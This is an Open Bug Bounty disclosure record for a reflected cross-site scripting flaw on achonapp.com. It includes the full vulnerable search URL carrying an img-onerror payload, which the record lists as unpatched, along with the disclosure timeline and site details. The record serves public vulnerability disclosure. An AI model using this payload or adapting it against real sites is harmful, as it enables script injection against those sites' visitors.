Lucene search

K
openbugbountyBinishalaOBB:151118
HistoryMay 10, 2016 - 1:03 p.m.

achonapp.com XSS vulnerability

2016-05-1013:03:00
binishala
www.openbugbounty.org
5
Vulnerable URL:
http://achonapp.com/search.php?keyword=%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E
Details:
Description Value
Patched: No
Latest check for patch: 26.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 1225027
VIP website status: No
Check achonapp.com SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 10 May, 2016 13:03 GMT
Generic security notifications sent to website owner 10 May, 2016 13:05 GMT
Notification sent to subscribers (without technical details) 10 May, 2016 14:17 GMT
Vulnerability details disclosed by researcher 2 August, 2016 13:12 GMT